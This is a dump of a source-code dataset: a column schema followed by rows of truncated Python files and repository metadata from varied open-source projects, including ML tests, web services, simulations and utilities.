hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
fe4036ba021d5a543848f0719df15257dc0be8cd
7,239
py
Python
tests/ut/python/parallel/test_manual_gatherv2.py
PowerOlive/mindspore
bda20724a94113cedd12c3ed9083141012da1f15
[ "Apache-2.0" ]
3,200
2020-02-17T12:45:41.000Z
2022-03-31T20:21:16.000Z
tests/ut/python/parallel/test_manual_gatherv2.py
zimo-geek/mindspore
665ec683d4af85c71b2a1f0d6829356f2bc0e1ff
[ "Apache-2.0" ]
176
2020-02-12T02:52:11.000Z
2022-03-28T22:15:55.000Z
tests/ut/python/parallel/test_manual_gatherv2.py
zimo-geek/mindspore
665ec683d4af85c71b2a1f0d6829356f2bc0e1ff
[ "Apache-2.0" ]
621
2020-03-09T01:31:41.000Z
2022-03-30T03:43:19.000Z
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
37.703125
117
0.654234
1,370
0.189253
0
0
0
0
0
0
1,049
0.14491
fe4088c9d39d6abd819f54e637798544df93b9db
3,396
py
Python
ClemBot.Bot/bot/api/tag_route.py
makayla-moster/ClemBot
26503d25f1fbe2abcf99dbf0f68b17e88ad11a7c
[ "MIT" ]
121
2020-04-25T06:20:28.000Z
2021-06-07T03:08:46.000Z
ClemBot.Bot/bot/api/tag_route.py
makayla-moster/ClemBot
26503d25f1fbe2abcf99dbf0f68b17e88ad11a7c
[ "MIT" ]
180
2020-04-25T04:49:51.000Z
2021-06-22T15:21:30.000Z
ClemBot.Bot/bot/api/tag_route.py
makayla-moster/ClemBot
26503d25f1fbe2abcf99dbf0f68b17e88ad11a7c
[ "MIT" ]
72
2020-04-25T03:28:49.000Z
2021-06-20T20:17:00.000Z
from bot.api.api_client import ApiClient from bot.api.base_route import BaseRoute import typing as t from bot.models import Tag class TagRoute(BaseRoute): def __init__(self, api_client: ApiClient): super().__init__(api_client) async def create_tag(self, name: str, content: str, guild_id: int, user_...
33.294118
114
0.564193
3,264
0.961131
0
0
0
0
3,105
0.914311
822
0.242049
fe40ab7f78d9978c2d19631879cf3439c2112560
2,967
py
Python
formfactor_AL.py
kirichoi/PolymerConnectome
064df932cfca57a97e62dfa9a32d1fa976500906
[ "MIT" ]
null
null
null
formfactor_AL.py
kirichoi/PolymerConnectome
064df932cfca57a97e62dfa9a32d1fa976500906
[ "MIT" ]
null
null
null
formfactor_AL.py
kirichoi/PolymerConnectome
064df932cfca57a97e62dfa9a32d1fa976500906
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Sep 7 10:59:00 2020 @author: user """ import numpy as np import multiprocessing as mp import matplotlib.pyplot as plt import time import itertools import ctypes def formfactor(args): # with AL_dist_flat_glo.get_lock: AL_dist_flat_glo_r = np.frombuffer(AL_dist_flat_...
33.337079
110
0.625211
0
0
0
0
0
0
0
0
1,050
0.353893
fe427f872414bfa986cd9b2c48b6113399437840
1,039
py
Python
utils/tests.py
nanodude/cairocffi
9d6a9a420a91da80f7901ace9945fd864f5d04dc
[ "BSD-3-Clause" ]
null
null
null
utils/tests.py
nanodude/cairocffi
9d6a9a420a91da80f7901ace9945fd864f5d04dc
[ "BSD-3-Clause" ]
null
null
null
utils/tests.py
nanodude/cairocffi
9d6a9a420a91da80f7901ace9945fd864f5d04dc
[ "BSD-3-Clause" ]
null
null
null
# coding: utf-8 import io import cairo # pycairo import cairocffi from pycairo_to_cairocffi import _UNSAFE_pycairo_context_to_cairocffi from cairocffi_to_pycairo import _UNSAFE_cairocffi_context_to_pycairo import pango_example def test(): cairocffi_context = cairocffi.Context(cairocffi.PDFSurface(N...
34.633333
79
0.73821
0
0
0
0
0
0
0
0
89
0.085659
fe433c22e1af644dfc7ebbadd44ff0872fa4438b
487
py
Python
riddle.py
robertlit/monty-hall-problem
746cab513dacdc1f47ce7269db35167df3520865
[ "MIT" ]
null
null
null
riddle.py
robertlit/monty-hall-problem
746cab513dacdc1f47ce7269db35167df3520865
[ "MIT" ]
null
null
null
riddle.py
robertlit/monty-hall-problem
746cab513dacdc1f47ce7269db35167df3520865
[ "MIT" ]
null
null
null
import random goat1 = random.randint(1, 3) goat2 = random.randint(1, 3) while goat1 == goat2: goat2 = random.randint(1, 3) success = 0 tries = 1_000_000 for _ in range(tries): options = [1, 2, 3] choice = random.randint(1, 3) options.remove(choice) if choice == goat1: options.remove(goat...
18.037037
43
0.61807
0
0
0
0
0
0
0
0
0
0
fe440692a08637fae6bb18f0a67dbb7336fec900
1,909
py
Python
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import random N = 32 M = 64 # NOTE: 0 is a reserved value randu = lambda x: random.randint(1, 2**x-1) randU32 = lambda: randu(32) randU64 = lambda: randu(64) fmt_by_dtype = { 'u32hex': '0x{:08x}', 'u64hex': '0x{:016x}', } cpp_by_dtype = { 'u32hex': 'uint32_t', 'u64hex': 'ui...
24.474359
83
0.572027
0
0
0
0
0
0
0
0
767
0.401781
fe449c44aa57e39f59499c7b75ef20b3e5b78b64
6,143
py
Python
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
"""Toy environment launcher. See the docs for more details about this environment. """ import sys import logging import numpy as np from deer.default_parser import process_args from deer.agent import NeuralAgent from deer.learning_algos.q_net_keras import MyQNetwork from Toy_env import MyEnv as Toy_env import deer.e...
39.378205
120
0.689891
827
0.134625
0
0
0
0
0
0
2,844
0.462966
fe44a3208c6d0b6455e3244b9bf2ee35ca9096e2
626
py
Python
equilibration/sodium_models/seed_1/post_processing/rdf_calculations.py
Dynamical-Systems-Laboratory/IPMCsMD
7f0662568d37dce7dcd07b648284aa62991d343c
[ "MIT" ]
2
2020-10-30T16:17:01.000Z
2021-08-23T13:58:03.000Z
equilibration/sodium_models/seed_9/post_processing/rdf_calculations.py
atruszkowska/IPMCsMD
d3900ea4da453bcc037fd946a2ae61cc67e316f5
[ "MIT" ]
null
null
null
equilibration/sodium_models/seed_9/post_processing/rdf_calculations.py
atruszkowska/IPMCsMD
d3900ea4da453bcc037fd946a2ae61cc67e316f5
[ "MIT" ]
3
2020-09-14T20:42:47.000Z
2021-12-13T07:58:16.000Z
# ------------------------------------------------------------------ # # RDF and CN related analysis # # ------------------------------------------------------------------ import sys py_path = '../../../../postprocessing/' sys.path.insert(0, py_path) py_path = '../../../../postprocessing/io_operations/' sys.path.inse...
17.885714
68
0.543131
0
0
0
0
0
0
0
0
357
0.570288
fe463c850bc48b7b739387d099ca1d849b457791
1,675
py
Python
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
null
null
null
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
1
2020-10-02T21:43:06.000Z
2020-10-15T22:52:39.000Z
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
null
null
null
from ..doctools import document from .geom import geom from .geom_path import geom_path from .geom_point import geom_point from .geom_linerange import geom_linerange @document class geom_pointrange(geom): """ Vertical interval represented by a line with a point {usage} Parameters ---------- ...
29.385965
70
0.577313
1,496
0.893134
0
0
1,506
0.899104
0
0
695
0.414925
fe468cffe0b2fb47619682741847648e0145af63
3,704
py
Python
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
SummaLabs/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
32
2017-09-04T17:40:39.000Z
2021-02-16T23:08:34.000Z
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
3
2017-10-09T12:52:54.000Z
2020-06-29T02:48:38.000Z
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
20
2017-10-07T17:29:50.000Z
2021-01-23T22:01:54.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- __author__ = 'ar' import json import os import skimage.io as skio import matplotlib.pyplot as plt import numpy as np import keras from keras.models import Model from keras.layers import Input, Convolution2D, MaxPooling2D, Flatten, Dense from keras.utils.visualize_util import ...
31.389831
108
0.551026
0
0
0
0
0
0
0
0
652
0.176026
fe4725d5ecf06c13eb1ec7a97c57345acb7badcb
760
py
Python
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
null
null
null
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
8
2021-11-28T23:46:36.000Z
2022-03-15T09:00:43.000Z
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
2
2021-11-28T23:17:49.000Z
2021-11-28T23:36:03.000Z
""" Test the integrations related to the internal interface implementation and the 'Interface' interface itself """ import pytest from cppython_core.schema import InterfaceConfiguration from pytest_cppython.plugin import InterfaceIntegrationTests from cppython.console import ConsoleInterface class TestCLIInterface(...
28.148148
107
0.735526
462
0.607895
0
0
354
0.465789
0
0
356
0.468421
fe48c3bafe5a6523868023e377aa4dab0192c3a1
407
py
Python
solutions/python3/894.py
sm2774us/amazon_interview_prep_2021
f580080e4a6b712b0b295bb429bf676eb15668de
[ "MIT" ]
42
2020-08-02T07:03:49.000Z
2022-03-26T07:50:15.000Z
solutions/python3/894.py
ajayv13/leetcode
de02576a9503be6054816b7444ccadcc0c31c59d
[ "MIT" ]
null
null
null
solutions/python3/894.py
ajayv13/leetcode
de02576a9503be6054816b7444ccadcc0c31c59d
[ "MIT" ]
40
2020-02-08T02:50:24.000Z
2022-03-26T15:38:10.000Z
class Solution: def allPossibleFBT(self, N): def constr(N): if N == 1: yield TreeNode(0) for i in range(1, N, 2): for l in constr(i): for r in constr(N - i - 1): m = TreeNode(0) m.left = l ...
33.916667
47
0.371007
407
1
387
0.95086
0
0
0
0
0
0
fe4908b1c0b067e1655d4c242e84ebb2602b1af5
11,218
py
Python
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
3
2021-08-19T20:11:45.000Z
2021-08-23T14:20:11.000Z
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
null
null
null
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
null
null
null
#@contact Sejoon Oh (soh337@gatech.edu), Georgia Institute of Technology #@version 1.0 #@date 2021-08-17 #Influence-guided Data Augmentation for Neural Tensor Completion (DAIN) #This software is free of charge under research purposes. #For commercial purposes, please contact the main author. import torch f...
45.97541
201
0.668123
0
0
0
0
0
0
0
0
1,998
0.178107
fe4a3921bc3a55c6c61a10f07f322ae6a1bc443a
12,719
py
Python
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
null
null
null
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
null
null
null
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
5
2019-03-01T01:12:12.000Z
2019-07-08T16:33:47.000Z
# Copyright © 2019 Province of British Columbia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agr...
41.029032
112
0.679928
0
0
0
0
0
0
0
0
4,267
0.335456
fe4b1dcb47180e465318d2ca261b6bc60c83e970
1,933
py
Python
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
null
null
null
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
16
2021-04-04T10:58:24.000Z
2021-05-23T11:52:08.000Z
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
null
null
null
from datetime import datetime, timedelta import jwt from flask import current_app from app import db from app.user.repository import UserRepository class AuthService: def __init__(self) -> None: self._user_repository = UserRepository(db.session) def create_token(self, data) -> dict: user = ...
30.203125
88
0.558717
1,780
0.920848
0
0
0
0
0
0
237
0.122607
fe4c72b51d2a6fb97aa207f15cdf6884d9d32013
4,843
py
Python
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
5
2021-09-29T18:53:37.000Z
2022-03-01T08:03:42.000Z
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
null
null
null
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
null
null
null
import _init_paths import argparse import random import time import utils import os from collections import defaultdict import numpy as np import csv from progress.bar import IncrementalBar from utils.hash import * def parse_arguments(): parser = argparse.ArgumentParser() # add arguments parser.add_argume...
38.133858
175
0.628536
0
0
0
0
0
0
0
0
922
0.190378
fe4cffed78f06b24cc3c09215a327c208310e601
1,634
py
Python
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
import math from pprint import pprint import matplotlib.pyplot as plt from scipy.optimize import minimize from frispy import Disc from frispy import Discs from frispy import Model model = Discs.roc mph_to_mps = 0.44704 v = 56 * mph_to_mps rot = -v / model.diameter ceiling = 4 # 4 meter ceiling tunnel_width = 4 # 4 ...
27.694915
113
0.621787
0
0
0
0
0
0
0
0
193
0.118115
fe4e0e23c7947f7d713c88797190743b2b4ea285
1,450
py
Python
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
278
2018-07-18T23:43:16.000Z
2022-01-02T21:38:08.000Z
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
131
2018-07-18T19:04:58.000Z
2020-08-04T21:05:42.000Z
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
101
2018-07-18T21:43:50.000Z
2022-03-04T09:51:02.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distribu...
41.428571
80
0.65931
0
0
0
0
0
0
0
0
590
0.406897
fe4e2e11b7395e1b93b6ba3044a09072e2e8f08b
1,230
py
Python
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
import os from Bio import AlignIO, Phylo from Bio.Phylo.TreeConstruction import DistanceCalculator, DistanceTreeConstructor class Phylogenetic: def __init__(self, PATH): self.PATH=PATH def binary_sequence_generator(self, input_kmer_pattern, label): string_inp="".join([ 'A' if x==0 else 'C'...
45.555556
102
0.71626
1,105
0.898374
0
0
0
0
0
0
156
0.126829
fe50481354faa15f773f5ba3bf0a4fb0f0ded16b
8,854
py
Python
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
17
2016-07-21T14:58:49.000Z
2020-10-26T15:51:38.000Z
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
5
2017-06-07T02:42:09.000Z
2019-10-23T12:26:29.000Z
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
9
2016-10-03T02:18:23.000Z
2021-03-08T22:44:33.000Z
#!/usr/bin/env python # #The MIT License (MIT) # # Copyright (c) 2015 Bit9 + Carbon Black # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation t...
42.980583
146
0.61588
4,460
0.503727
0
0
0
0
0
0
4,117
0.464988
fe509cc8fe00e2ec571d053ee6c5713299416d2c
1,225
py
Python
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
2
2021-11-07T23:14:54.000Z
2021-11-17T10:11:55.000Z
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
null
null
null
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
1
2017-03-12T00:18:33.000Z
2017-03-12T00:18:33.000Z
# -*- coding: utf-8 -*- """Exceptions raised by the h application.""" from __future__ import unicode_literals from h.i18n import TranslationString as _ # N.B. This class **only** covers exceptions thrown by API code provided by # the h package. memex code has its own base APIError class. class APIError(Exception):...
27.222222
79
0.702041
924
0.754286
0
0
0
0
0
0
592
0.483265
fe52100e092cba8f28b9f872d87740877e78ee29
5,535
py
Python
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # Copyright (c) 2018 Orange and others. # # All rights reserved. This program and the accompanying materials # are made available under the terms of the Apache License, Version 2.0 # which accompanies this distribution, and is available at # http://www.apache.org/licenses/LICENSE-2.0 """ Shaker_...
37.910959
79
0.605239
4,778
0.863234
0
0
0
0
0
0
1,953
0.352846
fe52c241e006580225be521c666de64401063758
410
py
Python
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
import torch import functools if torch.__version__.startswith('0'): from .sync_bn.inplace_abn.bn import InPlaceABNSync BatchNorm2d = functools.partial(InPlaceABNSync, activation='none') BatchNorm2d_class = InPlaceABNSync relu_inplace = False else: # BatchNorm2d_class = BatchNorm2d = torch.nn.SyncBa...
34.166667
70
0.770732
0
0
0
0
0
0
0
0
67
0.163415
fe551b06355686622edde6ba5da6a8305143cb35
2,193
py
Python
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
from django.db import models from ordered_model.models import OrderedModel, OrderedModelBase class Item(OrderedModel): name = models.CharField(max_length=100) class Question(models.Model): pass class TestUser(models.Model): pass class Answer(OrderedModel): question = models.ForeignKey(Question, ...
29.24
117
0.735522
2,067
0.942544
0
0
0
0
0
0
202
0.092111
fe5674a5616780733e828478139977dd1166a1db
2,288
py
Python
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
5
2021-01-14T03:34:42.000Z
2022-03-07T15:34:18.000Z
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
551
2020-10-19T00:02:38.000Z
2022-03-30T02:18:22.000Z
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
null
null
null
import os import sys import numpy as np import pandas as pd def get_columns_percent_dataframe(df: pd.DataFrame, totals_column=None, percent_names=True) -> pd.DataFrame: """ @param totals_column: (default = use sum of columns) @param percent_names: Rename names from 'col' => 'col %' Return a dataframe...
28.6
108
0.649913
0
0
0
0
0
0
0
0
379
0.165647
fe56b7b7af27f780f7fa9407871404e8b6436b3d
1,587
py
Python
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
from app.db import db # Ignore it if db can't find the row when updating/deleting # Todo: not ignore it, raise some error, remove checkers in view class BaseService: __abstract__ = True model = None # Create def add_one(self, **kwargs): new_row = self.model(**kwargs) db.session.add(ne...
28.339286
91
0.609326
1,437
0.905482
0
0
0
0
0
0
217
0.136736
fe56cfdabfdb2c62e991e0ff5887c5fa113a7477
694
py
Python
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
""" How to set up virtual environment pip install virtualenv pip install virtualenvwrapper # export WORKON_HOME=~/Envs source /usr/local/bin/virtualenvwrapper.sh # To activate virtualenv and set up flask 1. mkvirtualenv my-venv ###2. workon my-venv 3. pip install Flask 4. pip freeze 5. #...
30.173913
79
0.714697
0
0
0
0
0
0
0
0
694
1
fe5734aaedd2488a65c2f70b6e6de6bc38f3f4ec
1,346
py
Python
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
from SemiBin.main import generate_data_single import os import pytest import logging import pandas as pd def test_generate_data_coassembly(): logger = logging.getLogger('SemiBin') logger.setLevel(logging.INFO) sh = logging.StreamHandler() sh.setFormatter(logging.Formatter('%(asctime)s - %(message)s')) ...
42.0625
80
0.604012
0
0
0
0
0
0
0
0
412
0.306092
fe5794e6af44c9c1406d19b02f67dd498db59356
2,676
py
Python
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 - The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
32.240964
74
0.702167
994
0.37145
0
0
0
0
0
0
1,084
0.405082
fe57a342e2e561171bed3dec28d69a69629da501
452
py
Python
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys from cx_Freeze import setup,Executable icondata='icon.ico' base = None # GUI=有効, CUI=無効 にする if sys.platform == 'win32' : base = 'win32GUI' exe = Executable(script = 'main.py', base = base, #icon=icondata ...
17.384615
47
0.550885
0
0
0
0
0
0
0
0
166
0.356223
fe57f5cf47823b7ec7c95916bb4e6edc61679b1b
2,903
py
Python
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
6
2021-05-26T10:45:50.000Z
2022-01-31T17:36:10.000Z
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
null
null
null
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
null
null
null
from __future__ import annotations from threading import Lock from typing import List, Set, Optional, Any, Tuple from stereotype.utils import ConfigurationError class Role: __slots__ = ('code', 'name', 'empty_by_default') def __init__(self, name: str, empty_by_default: bool = False): self.name = na...
34.975904
111
0.654151
2,652
0.913538
0
0
0
0
0
0
302
0.10403
fe59e0ae9caf8657811351b2ce6b7040c6d723dc
7,175
py
Python
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
# coding:utf-8 ''' 矢网的测试项,包括增益,带内波动,VSWR 一个曲线最多建10个marker ''' import os import logging from commoninterface.zvlbase import ZVLBase logger = logging.getLogger('ghost') class HandleZVL(object): def __init__(self, ip, offset): self.zvl = None self.ip = ip self.offset = float(offset) def...
34.830097
108
0.557073
7,204
0.970236
0
0
0
0
0
0
1,733
0.233401
fe5a25378e13e098be2b1cdb76f7062e2c91b9b5
2,410
py
Python
kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
